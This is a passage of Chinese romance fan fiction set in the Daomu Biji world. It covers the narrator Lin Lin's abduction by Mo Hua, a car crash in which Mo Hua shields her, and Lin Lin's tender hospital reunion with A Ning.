是小孟给我的那个,此刻上面丝滑的屏幕上显示“墨婳”两个字。
我迟疑了下,还没点,电话手表自动接通了。
“你的事情做完了吗?别忘了我们之间的约定。”墨婳平静的声音传来。
我沉默片刻,在想我怎么说。
目前看来,我能做的都做完了,只要敲打一下吴邪,让他动用手里的力量,完全可以避免潘子和云彩的死。
“做完了。”我说,忽然想起小孟和我说的故事,墨婳的那个白月光,心中陡然觉得怪异起来,她到底想抓我回去干什么?
“那你跟我走——”
“不干。”我左顾右盼,这里是解家的据点,十分安全,她总不至于能突然出现,冲进来抓我。
墨婳微妙地说:“你要毁约?”
“很奇怪吗?”我笑了,长沙这个地方实在太安全了,一时间我胆从心间起,“谁会无缘无故和莫名其妙的人走?是,我是答应了你跟你走,但现在我不干了。谁知道你抓我回去是不是要搞什么人体实验!毕竟你妹妹寿命倒计时了了,不是吗?”
我像个得志的小人一样桀笑起来,向后花园里走:“多谢你给我派的人,她们很好用,人也不错。你怎么不说话?是不是生气了?哈哈哈,墨婳,你搞清楚,我可不是任人搓扁揉圆的沙包,海上断的两根肋骨,我一直记着呢,你不会以为稍微帮我点忙,我就会对你感恩戴德?”
我输出一长串,感觉自己颇有些翻脸不认人,但我很快就抛开了这个想法,人一定要学会少反思自己,多责怪他人。
“呵。”电话那头,墨婳忽然发出一声冷笑,这声音离得太近,仿佛是就在我旁边。
我刹住脚步,疑惑地看了一眼电话手表,是在通话中,难道是气音比较特殊,所以听起来很近?
四周静谧无比,我为了躲开秀秀,已经跑到花园深处了。
冷风一吹,我打了个哆嗦,囫囵裹紧了外套,怎么说——为什么我感觉阴冷阴冷的?
“林霖,你还真是令我刮目相看,”墨婳开口了,在我听起来她在阴阳怪气,“当初你说你是中方的特务,骗的我老板团团转。现在又骗了我,带着我的人在长沙横冲直撞是吧?”
最后一句话一下戳中了我的笑点,我想起她们几个攀着车驰骋在长沙的大马路上,所过之处无人不惊退,场面略显一点滑稽,横冲直撞还真没说错。
“你知道就好,”我开始往回走,这荒芜的花园实在让我有点不适,“我不需要你的人了,你什么时候来一趟,我把人给你送过去。或者我把她们送上飞机,你报个地点,我包机把人送过去。”
墨婳忽然来了句:“你有钱吗?你花谁的钱?”
我奇怪道:“我花谁的钱,和你有什么关系?”
我顿了顿,墨婳这话是什么意思?我想问问她想说什么,那边却忽然缄默了。
我总感觉墨婳略显怪异,感觉十分奇怪。我匆匆说:“我还有事,先挂了。”
后花园长久无人打理,枯枝败叶到处都是,踩起来咔嚓咔嚓的。
我沿着来的路回去,拐过一个转弯处,后面忽然有人叫了我一声。
“林霖。”
这声音咬字清晰,又淡淡的,冷冷的,十分熟悉。
但最重要的是,我刚刚才听过。
“嗯?”我下意识回头,震惊地瞪大眼睛,看清了叫我的人,立刻开启氮气加速疾跑模式!
但是,我的后脖颈一下被扼住了,她把我拎起来,调了个面,轻轻松松。
“哈喽哈喽,”我嘿嘿一笑,只感觉鼻子上被P上了一个红圈,“好巧啊,你怎么在这里?真是的,人来了大大方方出来亮个相,躲起来还偷摸给我打电话,哈哈哈哈……”
墨婳欣赏了片刻我尴尬的样子,手依然提着我的帽子,她的眼睛眯起来,闪着危险的光。
“你刚刚不是很嚣张吗?现在怎么这样了?”墨婳不顾我的抗拒,把我提溜近了,轻轻对着我的耳朵说。
我忍住想抓耳挠腮的冲动,只感觉浑身刺挠:“那个,中国有句古话……”
“识时务者为俊杰?那你可真是其中的佼佼者。”墨婳微笑着说,可那声音里怎么也藏不住冷厉和漠然。
我陪着笑,眼神忍不住偷偷乱瞟,秀秀快来救我啊,我后悔了,早知道就不甩开你了。
一只十分有力道的手掰住我的下巴,强迫我和它的主人对视
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,墨婳盯着我的眼睛,森森地笑了,露出一口白牙:“你在看什么?”
我看什么人能来救救我!不然我看你啊?
我不敢说话,面前的女人,眼睛里正在酝酿一场风暴,仿佛随时会暴起将我撕成碎片。
冷秋的风吹起,鞋面上刮过几片枯叶,风衣猎猎作响,墨婳的黑色长发飘扬起来,吹过我的脸。
我看着她,墨婳这种冷脸狭长眼型黑长直,不笑的时候,像一座五官精致的冰雕。
“你看我做什么?”墨婳说。
“……”我有点不知道说什么好了,“我看别的地方不行,看你也不行,那我干脆闭眼?”
说着,我闭上眼睛,并且用两只手捂住,过了三秒钟,对面依旧没有反应。
中指和无名指逐渐张开两条缝,对上了墨婳冷冷的眼神,我不知道为什么忽然想笑,说:“这样可以吗?”
墨婳和我隔着指缝对视,我看到她的嘴角抽搐了几下,冷面都要维持不住了。
我一把打开她的手,附身按着膝盖笑起来。
墨婳没有动作,鞋子都没移动分毫。我抬起头来,止住了笑,问道:“你是来抓我的吗?”
墨婳双手抱臂,凝视着我,眼睛里换了一种神色,仿佛是某种居高临下的宽容,她说:“我的忍耐是有限度的,林霖,换了别人,在第一次骗我的时候,我早就会杀了她。现在你跟我走,阿宁她给了你什么,我同样能给你。钱、权,只要你想要,我都给你。我可以发誓,我不会伤害你。”
她朝我伸出手,脸上带着细微的表情——一种笃定。
我笑意淡下来,看着她悬空的那只手:“看来你知道了我和阿宁的关系,恕我直言,你无法和她相比。你要带我回去干什么?难道是,因为那个已经去世的人?就因为我和她长得像,你想在我身上,补全亏欠她的遗憾?”
我看着她,如愿以偿见到了她变色的脸。
墨婳的唇色一瞬间变的苍白,神色灰败下来,紧接着,她的脸色越来越阴沉,像暴雨前的阴云。
她不高兴,我就痛快,我开口还想说点什么,一道手机铃声忽然响起。
我闪电般掏出手机,墨婳却比我更快,她抢走我的手机,嘲讽地看我一眼,在我惊愕的表情中,摁下接通键。
免提打开,阿宁带着笑意的声音传来:“喂?林霖。”
40.微妙
“唔唔唔!!”我试图说话,但墨婳单手捂住了我的嘴,把我圈到怀里,我的后背紧贴着她,她不知道压住了我的什么穴位,我浑身顿时酸软无力,差点呲溜下去。
墨婳一手圈着我,一手拿着手机,懒洋洋又漫不经心地说:“阿宁。”
阿宁的声音变了,静了两秒后,冷的让人发寒:“是你,墨婳。把手机还给她。”
阿宁冷冷地命令。
墨婳笑起来,依然保持着钳制我的姿势,道:“阿宁,你以为我是你那群蠢笨如猪的下属?收起你那命令的语气,你以为你是谁?”
她说着,把下巴搁在我头顶上,蹭了蹭,拉长了声音说:“林霖现在在我手上,你不怕我杀了她?…还是说,你根本就没有这么在意她?”
“你颠倒黑白的本事还是这么大,”阿宁无不嘲讽,顿了顿,说:“你敢动她一下,我让你见不到明天的太阳。”
我听了这话,忽然很想笑,呼哧呼哧对着墨婳的手吹气。
墨婳被阿宁的话搞的火冒三丈,却忽然感到手心的热意和湿气。
林霖在笑?她默了默,冷风吹过她的手背,皮肤微微发寒,但手心下的肌肤温热,她甚至能感到林霖柔软的嘴唇。
手心的感官霎时间被无限放大了,灼热顺着神经末梢火一样燃烧起来,沿着手臂盘旋而上,几乎令墨婳难以忍受,想要甩开那只手。
这种似曾相识的感觉另墨婳有些怔忪,在记忆的深处,她仿佛也这样捂着另外一个人,吃惊又无措地感到那个人的体温渐渐变凉,消失,直到皮肤都失去柔软的弹性,死气沉沉。
阿宁的冷嘲热讽依然在回荡,甚至带了点不易察觉的焦虑:“……你说话啊?怎么,不说话是什么意思?你动了林霖,我不会让你活着走出中国。”
墨婳缓和了声音,忽然愉悦起来,说:“打这么多年交道了,还打什么哑谜?我想杀她早杀了,你以为你能拦得住我?没想到你这样的人,有一天竟然也会有软肋?有人告诉我在机场你们之间的事,我原本还不信。”
“现在看来,竟然真的是这样,”墨婳的视线落在一颗蓬松的脑袋上,淡淡道:“我之前抓住她的时候,她对你还只是可笑的单恋,我不明白,到底是发生了什么,你喜欢上了她?”
“你懂个屁。”阿宁有些不耐烦,“我和你没什么好说的,我喜欢她,她喜欢我,这有什么奇怪?你什么时候变的这么八卦了,关心起我这个对手的私人情感?现在把电话给林霖!”
话不投机半句多,墨婳冷笑一声,直接把电话挂了。
怀里的人猛地挣扎起来,墨婳松了力道,林霖立刻像一只灵活的游鱼一样钻出来,噔噔噔后退几步,生气地看着她。
墨婳盯着她,有些出神。不知哪里驶过汽车,镜面反射的白光一闪而过,照在林霖那张盛怒的脸上。
墨婳为什么一直看着我?
我心里发毛,瞪着她,有些拿不准她什么意思,但时间拖的越久对我越有利,阿宁一定会通知吴邪他们来救我。
我和她对峙着,但我越看,越感觉她好像没在看我,脸上浮现出一种十分奇怪的表情,这不禁让我浮想联翩,总觉得我头上是不是趴了个鬼?
但这表情我有点熟悉,我仔细一想,这他大爷的不就是那个巨大无比的庄园,我跟个绝望兔子一样狂奔在草场上时,墨婳追到我然后看着我发愣的表情吗?
我浑身的鸡皮疙瘩都起来了,难道在那个时候,巨大且明亮的探照灯一打,墨婳发现我累的像死狗一样的脸,和她的白月光有那么一二三四五分相似?
“那边,你们几个去那边找!”“一个角落也不要放过!”
纷乱的脚步传来,打断了我和墨婳的沉思。隔着重重树影,我看到好几个人正往这边走。
墨婳凝神,飞快扫视一圈,一把捂住我要求救的嘴,几个轻巧地跳,飞檐走壁带我出了这个小楼。
我奋力肘击她,墨婳却像感觉不到痛似的专心致志往前跑,跳下围墙,迅速把我塞进一辆车里,等候多时的司机压根不给我逃跑的机会,一脚油门窜了出去。
我看着窗外飞线的地面,心中升起绝望。
这种速度,就算我能打开车门或车窗跳下去,落地我就肢解了。
我缩在后座的角落,冷冷地看着墨婳:“你现在满意了?你是不是得意极了?我终于又落入了你的手掌心。”
我无能狂怒地捶了下前面的椅背,吓司机一大跳。
“别生气,”墨婳笑起来,眨也不眨地盯着我看,“我只是回来取我应得的报酬,你打算毁约,我却不能允许这样的事情发生。很可惜,你被我抓住了,那群废物也没有找到你,不是吗?”
我有些崩溃,道:“你为什么会在长沙啊?难道你一直偷偷跟着我?你没有自己的事情要做吗?”
她到底是什么神人,有这么大闲情逸致偷摸着监视我。
墨婳完全不理会我,自顾自说道:“你是不是要去巴乃找阿宁?她有什么好的?我不明白你究竟喜欢她什么?磨磨蹭蹭,你给我开快点!”
墨婳狠狠捶了一下司机椅背。
司机抖了一下,陡然提速。
我小心偷看墨婳的脸色,总感觉她有点不对劲。
我小心翼翼地说:“喂,我喜欢阿宁关你什么事?”
墨婳平静了神色,看着我说:“我好奇,所以问一问。”
汽车开的很快,这里似乎已经是长沙的郊区了,人烟稀少,连车都没几辆。司机被墨婳一凶,不减速连闯几个红灯,看的我心惊肉跳。
我默默把安全带扣上,说:“就这样那样这样呗。”
墨婳道:“到底怎样。”
我叹了口气,窥了她一眼,心下有些不安。
我不是很想和她说话,但看着墨婳这面无表情神色又带着点飘渺的样子怎么看都不正常。
我又看了一眼她几乎称得上昳丽的面容,恍然间,我意识到,墨婳她,是完全脱离原著的一个角色,她的故事是空白的,我只能在小孟的只言片语间窥及她的过去。
听起来她也不是很幸福。
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不该有的怜悯从心底升起,我摇摇脑袋,说:“我本来就是为阿宁而来的。”
墨婳的面上浮现短暂的茫然和一种更深的异样情绪,她的眼睛转动了下,落在我身上:“这样吗?”
我说:“对,每个人都有一个特殊的,可以做到为她拼了老命的人吧?也许是姐妹兄弟,也许是爱人,也许是猫猫狗狗。当两个人可以做到为对方付出生命的时候,这怎么不叫爱呢?”
“那什么叫你是为她而来?你是专门来找她的?”墨婳问道。
“差不多,”我含混道,“这是一个十分奇异的事情,我没法跟你说,因为我说出口可能会被天雷劈成渣渣。”
我笑起来,冲她挤挤眼:“我想你应该能理解,因为我和你们墨家人背负着同样的诅咒,不是吗?”
我试图和墨婳拉进关系,让她三思后别杀我,怎么说同类之间都会产生一些惺惺相惜。
她的瞳孔产生了变化,紧接着垂下头,任由长发遮住了神色,过了好半晌,她忽然没头没尾地说:“可是她并没有抓住你。”
“……什么?”
“直升飞机,海上。”墨婳抬起头来,声音有些尖锐,“如果不是我救了你,你现在已经死了,死在海里了。”
我有些无语:“那你要不想想,是谁把我打到海里的。”
车里的空气凝固了,空气粒子像是化作无数粉尘,被人吸入呼吸道,让人忍不住想咳嗽,想打喷嚏,想要把什么深深镶嵌在血肉之中的痛苦剥离出来,才能让人舒畅起来。
墨婳胸口剧烈起伏,打开了窗户。
狂风呼啸卷入,几个人头发飞舞,风声呼呼。
林霖看起来面有不忿,缩起来盯着她。
墨婳一时入了神,林霖这张脸,她第一次见的时候就知道和那个人有些相似,不过世界上容貌相似的人很多,这没什么稀奇的。
真正另墨婳错愕的,是林霖逃跑时倒在草地上那张怒气冲冲又狼狈的面容,汗水浸湿了鬓发,贴在她颊边,长时间狂奔使她气喘吁吁,脸上泛起细密潮红,林霖的眼神带着丝丝痛意和恨意,像火一样盯着她!
鲜活的另她产生微妙的错觉。
仿佛冰冷的尸体活了过来,故去的亡魂与她对视,她透过倒在草地上的林霖看到了另外一个人。
很久之前,那个人也是这样无力地倒在地上,回光返照的不详红光出现在她恬静的面容上,她微笑着说些什么,可是墨婳已经听不清了。
虚空中有个讥讽的声音说:“机会只有一次,你错过了就是错过了,谁让你自己没抓住她呢?”
“墨婳……你能别这样看我吗?怪渗人的……”
这话仿佛将墨婳从某种回忆中拉了出来,她依然紧盯着林霖,眼中浮现出奇怪的神色来。
墨婳猛然抓住她的手腕,看着一脸震惊企图抽手的林霖,脸上竟然带了点虚无缥缈的空洞和虚弱,求证似地低声问道:“为什么?阿宁不是也没有抓住你吗?为什么她还有机会,对我就是这样的结局?”
“……什么?”
41.车祸
“不应该是这样的,凭什么呢?我明明和她是一样的,爱而不自知的蠢货!那个时候她明明也没有接受你的心意!她和我是一样的,但她现在凭什么和我不一样?!”
“她也配?”
墨婳慢慢变红的眼睛看着我,眼尾染上瑰丽的颜色。她在神经质地反复诘问,整个人陷入了一种十分渗人的情绪中。
同时她紧紧握着我的手腕,我一动,她就攥的更紧,是怕我跑了还是怎么着?
墨婳果然脑子有问题,我有些毛骨悚然,她似乎是陷入了某种痛苦的回忆中,时而微笑,时而发抖,脸色变幻而扭曲,仿佛梦魇。
我的手腕剧痛,忍着抽她的怒气说:“你先放开我,我不会走的,我人现在在车上我也跑不了!你给老娘放手啊!我马上要痛死了!啊啊——救命!!”
我惊恐地看着墨婳那一侧的窗户,一辆白色的面包车在十字路口悍然冲了过来,下一瞬,剧烈的撞击声轰然炸响、刺耳的轮胎刮擦、失去平衡的车子,爆碎在空中的玻璃,温热的血……
世界骤然疯狂旋转,我像被塞进滚筒洗衣机开了脱水模式,恍惚间,几秒过去,也许也只有半秒,我的耳膜嗡嗡作响,视线一片黑暗,头上的血不断滚落下来。
刺鼻的汽油味直冲鼻腔,混合着血腥味,令我忍不住干呕,司机的呻吟传来,与此同时,我的身上压着什么东西,源源不断的热流正缓缓流淌到我身上。
我心脏抽风似的狂震起来,一时间耳朵里全是砰砰砰的鼓震,不远处似乎有人大呼小叫,风声、尖叫声忽远忽近,龙卷风一样被抛上高空。
我勉强睁开眼睛,眩晕感立刻传来,眼前红灯的黑的白的不断弯成变化的线条,光怪陆离像一副抽象派的画。
压在我身上的人动了,一只冰冷的手覆上我的脸,冻的我一个激灵,我竭力眨眼视线逐渐聚焦,看清了她。
墨婳紧紧抱着我,以一个全然保护的姿势。墨色的长发被血液粘腻成一缕一缕,尾端正一滴一滴流着刺目的血。
我张了张嘴,看着半张脸都是血的她,惊愕无比:“你……为什么?”
车子不知道翻滚了几圈,最终停留在侧翻冒烟的可笑造型上,墨婳的手臂环住我的头,不知道用什么方法,牢牢抓住我的安全带,把自己固定在我这里,身体几乎抵挡了全部危险。
我不知道她是怎么在极速的翻滚着做到紧贴我的,我伸出手,摸了一把头上温热的血,这是她的。
我看着她,几乎说不出话来,大脑愈发眩晕。无数玻璃扎进了她的手臂,我看着那些血肉模糊的伤口,心里涌起一阵阵幻痛和触目惊心。
如果她没有环住我的头,此刻这些玻璃扎入的,就是我的脑袋。
“我这次……”
墨婳艰难开口,胸腔里震出一口血,她没有力气,做了个细微偏头的动作,血依然不可避免的喷到我的风衣上。
“……抱歉,弄脏了…你的衣服。”墨婳似乎想对我表示自己没事,脸上带着轻笑,不过这笑很快被疼痛扭曲了。
我忍不住摇头,双手想扶起她,又不知道她伤在哪里,不敢乱动,呆呆地停了下来:“你别说了墨婳,别说话了,救护车很快就来了,你坚持一下。”
“我没关系,”墨婳浑身发抖,脸上的血色急剧褪去,显出一种刺目的苍白来,极红的血色和惨白交织,几乎在她脸上产生了献祭般的绝望美感。
她不住的下滑,膝盖碰到我的脚尖,她仍然缓慢抬起头,眼睛一眨不眨地盯着我,眼睛里有深切的悲哀,她在看我,又像是在对另外一个人说:“我这次……做到了。”
我不住的流泪,她身上的血流的越来越多,几乎染红了我的全身。
严重挤压变形的车门终于被打开,无数人的惊呼,吼叫轰然炸响,许多只手伸了进来,他们焦急地说着什么。
墨婳不管不顾,她好像听不到那些喧闹。她伸出手,十分缓慢地捏住了我的手,掌心间是变凉的、粘腻的血。
她逐渐用力,却在微微发抖,她闭了闭眼,声音也颤抖起来:“林霖,家族告诉我们,做错了事,是要……受到惩罚的。……我做错了事……已经……受到惩罚了。”
“我已经足够…痛苦了。”
她的表情有些困惑,又带着某种释然和疯狂,她唇角流着血,一直漫延到衣领中:“我不该…受到这样的对待,这是不公平的。”
“不该是这样……你为什么不是为了我……不,凭什么?”
我震惊地看着她,片刻后,墨婳再也支撑不住,倒在了我身上。
很快,救援人员把她小心翼翼地搬了出去,大呼小叫抬上了车。
我卡死的安全带被人利落的割断了,我呆呆的看着来人,遥远的思绪骤然回归,“哑姐?”
哑姐点点头,迅速检查了一遍我的全身,眼中闪过一丝惊异之色,不可置信似地看了看我。
我动了动四肢,苦笑一声:“我好像没有伤到。”
哑姐面上有不解,却依然打横把我抱了起来,放到担架上,简短说:“那也得去医院查一查。”
救护车呼啸冲出,哑姐坐在我旁边,静静地看着我。
几个医护人员在我身上搞各种检测,我问道:“刚刚我旁边的人还有司机呢?”
一个医护人员回答我:“在另外两辆车上,他们俩伤的比较重。”
“有生命危险吗?”我的太阳穴一阵一阵的抽痛。
“不清楚。”
我心里叹了口气,这时候,哑姐说:“车上的两位是你什么人?”
我疑惑道:“不是吴邪让你过来救我的吗?”
“吴
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邪?”哑姐愣住了。
我看她不似作假的样子,懵了,那就不是她派车来撞的我们?那哑姐怎么在这里?
我们俩相互沉默了会儿,以眼神交流着,但我也没看懂她什么意思,只好等着到医院单独交涉。
墨婳和司机被推入手术室,我坐在走廊的椅子上,发着愣。
“你们这次车祸不是我干的,制造车祸太危险了,我无法保证是你存活下来。”哑姐寄给我一件外套,在我身边坐下。
我已经换了一套病号服,确实有点冷,我谢过她,默默披上。
走廊里零零散散站着她带来的手下,这里被围的跟铁桶一样,来往医护目不斜视,匆匆而过。
哑姐一个眼神,那些人站远了点,她开口说:“昨天霍,谢家的那两位和潘子在长沙进行清剿,领头的他们清理干净了,只剩一些小虾米,这两天忙着逃命。我带人追他们,没想到在长沙的郊区,他们这么巧合的撞上了你们的车。”
“还好,”我说,“两波逃跑的人,一个慌不择路,一个连闯红灯。”
哑姐笑了下,看着我说:“还好你没有受伤,不然我都不知道怎么跟吴家霍家交代。”
吴家就算了,霍家是什么情况?我用询问的眼神看着她。
“你不知道?”哑姐说,“你如今是霍家的红人,就在你刚失踪的时候,霍老太太就施压了,吴,霍,解三家都快把长沙翻了个底朝天。”
她说:“现在他们正在赶来的路上。三爷和秀秀小姐他们。”
她顿了顿,“你昨天叫我姨,你和吴邪是……”
“朋友关系!朋友关系!!”我怕她又想歪,立刻大声喊到。
走廊里好几个人侧目,我把头缩进衣领里,假装嫌冷,顺便把帽子也带上了。
哑姐失笑,点点头,看我的目光温和了不少,带着某种长辈的慈爱。
我挠了挠头,请她借我手机一用,立刻把心里背的滚瓜烂熟的号码打过去。
这是阿宁的号码,我就防着有用不了手机的这一天。
刚拨过去那边立刻接通了,“喂?是林霖吗?”
“是我,是我。你别担心,我好好的呢。”劫后余生,我忍住想哭的冲动,对阿宁说。
阿宁的声音仿佛带着某种魔力,我所有的惊惧和后怕都被抚平了。一颗心逐渐落回原处,紧绷的精神松懈下来。
握着手机,我听着阿宁不停地询问我的情况,问我有没有受伤,问我现在在哪,让我不要担心,她马上就来找我。
我哽咽着,一边深呼吸,一边用力点点头,疲惫地靠在椅子上,看着手术室亮起刺目的红灯和惨白的墙,眼前又浮现出墨婳那张鲜血和苍白交织的脸。
我不愿再想,低声对阿宁说:“你来长沙后,我们就走吧,我不想在这里呆着了。”
42.项链
一个小时后,阿宁到达了医院。
我笑嘻嘻地问她是不是坐火箭来的,阿宁却不声不响,直接扑到病床上,把我抱在了怀里。
房间里,所有人都退了出去,我回拥着阿宁,摸着她肩上明显的骨头,她一定没有好好休息,好好吃饭,才几天,就瘦成这个样子。
阿宁拉住我的手,放开我来,久久凝视着我,她似乎是感到冷,全身小幅度的打着颤,眼下带着青黑,眼神极亮,又藏着许多话似的。
阿宁忍不住的颤抖着,从上到下扫视过我身上每一寸,我示意她放开我,在床上站起来做了两个开合跳:“我没事!我很好!”
这动作大概傻透了,我看到阿宁笑起来,没好气的扯过我,试图用被子把我包起来。
我不愿意躺着,顽固地靠在抱枕上,抓着她的手,打岔道:“巴乃那边怎么样了?你老板放不放你走?”
阿宁在椅子上坐下,反握住我的手,轻轻摩挲着,“基本稳定了,他的计划在有条不紊的进行,我向他申请了长假,这段时间,我会一直陪着你。”
她出神看着我,微笑起来,给我倒了杯热水。
“这段时间,我似乎想起了以前的一些事,我遇到你的记忆。”
阿宁身体坐直了,微微前倾,与我拉近距离,眼神里忽然有着某种炙热的温度:“在那个沼泽森林里,你冲了出来,脸上带着惊慌和绝望,扑倒了我。”
她捧起我的手亲了亲,又送到自己脸上,让我摸着她的脖颈。
滚烫肌肤下面,脉搏有力地跳动着,拉扯间,我露出的一节手腕感受到了阿宁灼热的呼吸。
“……阿宁。”我有些害羞,她鲜少这样明显的表露情感,是因为记忆恢复一部分的原因吗?
我轻轻用了点力道抽手,阿宁却握的更紧,我并不反感她这种小小的强势,偷偷勾了勾嘴角,马上被她捕捉到了。
“水不喝了给我吧。”阿宁接过我手里的水杯,一口喝完,兵乓放在桌子上,看着我,挑了挑眉说:“我们喝过同一壶水的,不是吗?”
“这你都想起来了?那你能想起来你为什么会失忆吗?”我问道,心里不知道为什么有些发热,也许是因为她的眼神太热切了,我有点不好意思。
阿宁抚摸着我每一根手指头,捏捏我的指节:“没有,除了我失忆的原因,其他大部分都想起来了。”
细微的异样感觉不断从指尖传递向全身,我有些受不了地缩回手,藏在被子里,朝她嘿笑两声。
阿宁看着眼前的人,她的脸有点红,浅色的瞳孔泛着细微水光,神色狡黠,被她自己随便剪短的头发长长了些,在空气中张牙舞爪。
林霖是很爱美的,阿宁清楚的知道。
从初见时她那一头靓丽柔顺的栗色大波浪,很是精心打理的。
可现在,她甚至来不及给她自己简单的弄弄头发,任由它们膨胀,炸毛。
阿宁在公司这么多年,她能力强,资历深,自信和成功对她来说是毋庸置疑的。
可现在她感到有些挫败,因为林霖。
林霖究竟是因为懒得打理头发,还是觉得已经根本没有必要打理头发了?
阿宁有些惶恐,她发现自己似乎留不住林霖。
她不能为她做什么,她无力为她延续生命。
林霖不让她去张家古楼冒险,她同意了,可是她内心有种感觉,自己即使去了,也极有可能带不回什么对林霖有用的东西。
病房十分安静,林霖不安地动了动,被子发出窸窣的声音,窗外的草地上,传来温声细语的交谈声,顺着斜斜的阳光钻入房间。
这样的阳光,不知道林霖她还能晒多久。
可是她明明,还这么年轻。
阿宁眼眸中闪过一丝绝望,她很好的掩饰住,坐在床边,轻轻把林霖抱住,揉着她蓬松的头发,心中滋生起丝丝痛意和柔软。
下巴抵在林霖的肩膀上,海啸般的心痛和难过在这一刻铺天盖地涌向她,她默默感受着林霖的体温,环抱着这个她无论如何都不能放弃的人,心脏阵阵隐痛传来。
阿宁慢慢坐直,手依然换着林霖的头颈,深深地凝视着她,说:“林霖,你知道吗?对于我这样的雇佣兵来说,生与死是挨的很近的。”
“我的队友,手下有许多人,我记得名字的、不记得名字的,他们死去的脸一层叠着一层,我几乎记不清他们的样貌了。我也想过自己什么时候死掉,又会是什么死法。”
阿宁望着眼前的女孩,她目含担忧,紧张地看着自己,听了这话,她眼里有种熟悉的恐惧。
阿宁轻轻吻了吻她的眼睛,感受她的轻颤,低声安慰道:“你别怕。”
“你不会死的。”她说,“我既然来到了这里,就绝不会看着你死。”
阿宁忍住落泪的冲动,半晌,才道:“……好。”
“我们这种人,从来都是活一天赚一天,人命在公司手里,是可以用美元衡量的价值,每个人的筹码都白纸黑字写在纸上,人死了,有人会给他们的亲属打一笔钱,仅此而已。”
阿宁长久地凝视着她,又珍爱地吻着她的额角,轻嗅着她的皮肤:“我没有想到、我没有想到,会有人奋不顾身地救我。”
无人区深处的雨林里,粘腻又闷热,危险又可怖,格格不入的她仿佛凭空出现一样扑向自己,她的眼神是那么害怕,但她却带着某种义无反顾的决然冲了过来。
阿宁每次回想起那一幕,心脏在胸腔里震动,血液奔腾着涌向四肢,又飞快地冲向大脑,巨大的狂喜和后怕冲向头顶,几乎升起灵魂战栗般的激动。
阿宁的呼吸急促了起来,轻轻地吻一路下滑,点在她的唇角,片刻后,不由自主地看着她惊讶又害羞的眼睛,她立刻掩饰般地说:“当时,当时情况太紧急了!哈哈,谁能想那么多……”
“我亏欠你太多,”阿宁伸出一根手指,按住了她柔软的唇,又隔着手指吻了吻,“生命是很贵重的东西
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,我仔细想来,每一次,无论是格尔木还是上海,或者巴乃,每一次你都是拿命救我。”
“我从来没想到,我可以遇到你。”阿宁的手抚向她的腰,亲吻着她的下巴,她的体温升高,身体不住的产生细微颤动。
她浸染了水雾的眼睛看着阿宁,像是一种隐秘的鼓励,她弯着眼睛,里面有小小窗格倒影,轻轻一眨,水波潋滟。
空气缓慢加热,与世隔绝的空间旋转着,阿宁吻住她的唇,眼睛紧紧盯着她,她的脸颊滚烫,眉心皮肤泛着薄红,她呆了呆,接着闭上了眼睛,热情的回应着。
阿宁扶着她,她似乎没有力气了,向下滑动着,宽大的病号服凌乱叠起,露出白皙的肌肤来。
“阿……阿宁,”白色的天花板在扭曲升高,阿宁听着怀里的人不断叫着她的名字,爱怜、痛心不断盘旋,阿宁喉咙里堵了很多话想和她说,可是这些情绪都化作更激烈的吻,几乎另她喘不过气来。
“不……不行了……”我浑身都要炸了,又热,腰又痒,身体里有种奇怪的感受。
我无力地推了推阿宁,拒绝道:“医院、医院做这种事太羞耻了。”
我拉上被子,一直蒙上脑袋,隔绝阿宁看我的十分有侵略性的目光。
我听见她带着沙哑的声音说:“医院不行,那我们回家好吗?”
“什么?”
我的被子被掀开,阿宁深邃的眼睛看着我,眼睛里简直像有一汪潭水,或是什么深海的漩涡,要把我吸进去。
情与欲的暗光在她眼底流动,我读出了她的意思,耳朵烧了起来。
她伸出手,温柔地捋了下我的碎发,摸了摸我的脸颊。
“你在墨婳那受的气,你想不想报复回去?等你好了,我拨人给你,踏平她的庄园总部,你要是能狠心,可以杀了她。”
“我在美国旧金山和纽约有两栋房产,美国银行,花旗集团分别存了资产。你想要的我都能给你。不想在国外住的话,我现在立刻买一套中国的房子,你喜欢哪个城市?”
阿宁眼睛非常明亮地看着我,真诚又期待,问我怎么样。
我大脑昏沉,胡言乱语:“好啊好啊,你蛮有钱的。”
阿宁忽然从口袋里摸着什么,一个膝盖顺势跪到了地上,她拿出一个精致的长方体盒子,打开它。
里面赫然是一条闪亮的锁骨链,熠熠生辉,光彩夺目不足以形容它的美丽。细密的光折射出来,每一个角度都闪耀耀。
阿宁微笑着说:“林霖,你还不明白我的意思吗?怎么说,如果你想,我现在可以立刻让人把我在美国的资产证明送过来,送给你。”
阿宁把锁骨链轻轻摘出来,身体前倾,认真地给我戴项链。
带着些许凉意的项链一激,我迟钝的大脑回神,忽然鼻子发酸:“阿宁你干嘛突然这样……”
“我想说,我是认真的,”她跪在床边,又吻了吻我,“我爱你,喜欢你,愿意给你一切你想要的。”
43.下场
哈哈,那我想当地球球主。
我俯下身,把头埋在阿宁颈窝,闷闷地笑起来,她不知道我在笑什么,也不诧异我抽风的笑,只是抱着我,摸了摸我的头。
我和阿宁离开长沙的时候,墨婳还没有醒,在走廊里,我看到了小孟她们几个。
小孟几个人都等在门口,看我出来,一齐把目光看向我。
“干什么?”我粗声粗气地说,“不去等墨婳出手术室,等我?不用了,我要走了,再也不见。”
小孟摸了摸鼻子,轻笑一声:“没事,她死不了,我们是来跟你道别的。”
小孟看了一眼我和阿宁交握的手,视线又落回我脸上,道:“和你共事这段时间很高兴,为了避免最后在你心里留下不好的印象,我觉得还是要澄清一下,是墨婳自己来长沙的,并不是我们通风报信。”
我摸着口袋里的电话手表,其实我知道,这个东西可能有定位功能,只是我没想到墨婳会把我看的这么紧,一直跟在我身边。
这个小东西其实很好用,我常常用它来支使小孟去给我干杂事,比如去买份长沙臭豆腐之类的,为了避免她对我大材小用感到不满,我会很机智地分她一口。
“哦。”我拉着阿宁向她走去。
错身而过时,小小的、被我用过很多次的电话手表抛到了她手里。
“它的使命完成了。”我对几个人笑了笑,一瞬间感觉自己像电视剧里的温柔女主角,“再见啦。”
“林霖!”小孟忽然抓住了我手腕,脚步侧了侧,身体却没有完全转过来。
阿宁眉头一皱,我赶紧捏了捏她的手,她锐利地扫了一眼小孟,两个人的眼神似乎要在空中擦出火花。
这什么情况?我赶紧甩开小孟的手,问道:“咋了,还有什么事吗?”
阿宁见状,说:“有什么事快说,我要带她走了。”
小孟没理她,犹豫着对我开口“墨婳她其实……”
“停!”我打断她,“如果你是来为了她说话的,那大可不必,我和她不熟,也没关系,以后也不会有关系。我知道她很可怜,但这世界上谁又不可怜?”
小孟看着我,眼睛里有惊讶,但她依然点了点头:“某种程度上,你说的也没错。”
“不告个别吗?她现在在手术室还没出来。”小孟说,“不管怎么说,她为了保护你受了重伤,她可能会期待醒来后看到完好无损的你。”
